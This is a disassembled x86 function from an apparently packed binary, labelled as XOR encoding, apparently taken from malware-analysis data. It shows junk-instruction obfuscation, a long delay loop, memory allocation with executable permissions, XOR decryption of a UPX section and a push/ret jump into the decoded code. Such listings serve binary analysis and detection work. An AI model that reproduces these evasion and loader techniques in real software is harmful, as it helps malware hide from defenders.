Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb92db71b
mov ecx, 0x80009664
add esi, esi
and ecx, ecx
popal
add esi, 0x13dce9f9
add esi, 0x3019af2c
mov esi, 0
mov eax, edx
not ecx
and ecx, edi
or ecx, ecx
mov ebx, eax
mov ecx, 0x46f6f553
mov edi, 0x53d3bccc
mov edx, ebx
sub edi, 0x9e01a79
mov edi, ecx
inc esi
inc ecx
add ecx, 1
cmp esi, 0x100636f
jne 0x47afd9
sub edi, 0xf4afe12b
inc edi
cmp esi, 0x100636f
je 0x47b021
mov eax, 0
mov bl, byte [eax]
add ecx, ecx
add ecx, 0xff3f3b7d
mov ecx, 0xf0cf0e8b
add esi, esi
or ecx, esi
mov edx, 0x47ada2
not ecx
and ecx, ebx
mov ecx, edi
mov eax, 0x47af96
or edi, edi
mov ecx, 0x6618bd5b
mov esi, dword [edx]
and ebx, ebx
dec ecx
or edi, ebx
and esi, 0xff
or ecx, ecx
mov ecx, 0x66e5d43d
xor dword [eax], esi
sub ecx, edi
mov ebx, ecx
or edi, ecx
inc eax
or edi, ebx
sub edi, ecx
inc edx
and edi, edi
add ebx, ebx
cmp eax, entry0
jl 0x47b049
or ecx, ebx
add ecx, 1
mov edi, ebx
or edi, ebx
not ebx
not ecx
dec ebx
not edx
mov edi, 0x47af9a
sub ecx, ebx
and esi, ebx
add ebx, 0x6efa2759
mov edi, dword [edi]
mov ecx, 0x7c3a2f47
mov ecx, 0xbb5fa3df
not ecx
mov edi, dword [edi]
sub esi, 0x9e713673
mov ecx, ebx
push edi
sub edx, 1
add edx, 0x290398d2
mov edi, 0x47af96
sub edx, 1
sub esi, 0x5e2481a
mov edi, dword [edi]
not ecx
sub esi, ebx
mov edi, dword [edi]
mov ecx, 0x560575c8
not edx
push 0x47af9e
mov edx, esi
mov ecx, edx
call edi
or edx, ebx
dec ecx
pop edi
not esi
mov edx, 0xad21a2b
push 0x47afab
dec esi
mov edx, 0x70cd64b5
dec edx
push eax
add ecx, 0x2cc329a7
mov ebx, 0x2ea59279
call edi
and ecx, esi
not ecx
push 0x40
mov edx, 0x326b5aed
add ebx, edx
push 0x3000
add ebx, 0x149d8e18
sub edx, 0xd31d04fb
or esi, edx
push 0x2000090d
or ebx, ebx
add ebx, 0x1f82dd79
mov ecx, esi
push 0
sub ebx, esi
mov ecx, 0xb2ec225a
call eax
mov ecx, 0x6a8b83d
not edx
inc ecx
add eax, 0x2000086e
or edx, edx
add esi, 0xc3f7f4c5
mov edi, 0xf4fb222b
mov esi, edx
mov esi, 0x4386421a
mov dword [eax], edi
sub ebx, 0x32513c96
or ecx, ebx
mov edi, dword [eax]
dec esi
inc ebx
cmp edi, 0xf4fb222b
je 0x47b191
mov eax, 0
mov byte [eax], dl
dec esi
or ecx, esi
sub edx, 0x4f659d2b
inc ebx
inc esi
sub ecx, esi
mov eax, section.UPX1
sub esi, ecx
and esi, ecx
not esi
mov ebx, 0x47ada1
mov esi, 0x91dc6fc6
add esi, 0xefe2ac07
mov edx, 0
and esi, ecx
add ecx, ecx
mov edi, 0x47ada2
mov esi, 0x8aaa85ae
and ecx, ecx
sub ecx, 1
lea edi, [edx + edi]
add esi, 0x20840f36
sub ecx, esi
and esi, ecx
mov edi, dword [edi]
inc esi
add esi, esi
and edi, 0xff
sub esi, 0xa8307530
add esi, esi
sub esi, ecx
add edx, 1
or ecx, ecx
mov ecx, esi
cmp edx, 0x1f4
jne 0x47b20d
mov edx, 0
or esi, ecx
not ecx
add ecx, 0x3c3a7799
mov ecx, 0x28180999
sub ecx, esi
xor dword [eax], edi
dec ecx
inc esi
mov esi, 0x41b70759
add eax, 2
or esi, esi
or esi, ecx
or ecx, ecx
cmp eax, ebx
jl 0x47b1c2
inc ecx
sub esi, 0x67e162d4
and esi, esi
add ecx, esi
mov edi, section.UPX1
add edx, 0xeb788494
and ebx, edx
mov esi, section.UPX1
add edx, 0xa2e78087
mov edx, 0x20013007
mov ecx, 0x47ada1
add ebx, 1
mov edx, ebx
mov eax, 0
add ebx, ebx
add edx, edx
mov al, byte [esi]
mov edx, 0x3951f7ef
add edx, 0x2af0faeb
inc edx
mov byte [edi], al
mov edx, 0xe889f844
add edx, 1
inc edi
mov ebx, edx
and edx, edx
add esi, 2
not edx
inc ebx
cmp esi, ecx
jle 0x47b279
add edx, 0x53dc0ed
dec ebx
inc ebx
mov esi, 0x4fd13b06
dec ecx
sub ecx, 0xe6baf947
push 0x45e6a0
not esi
add esi, 0xa705f8ee
add esi, esi
ret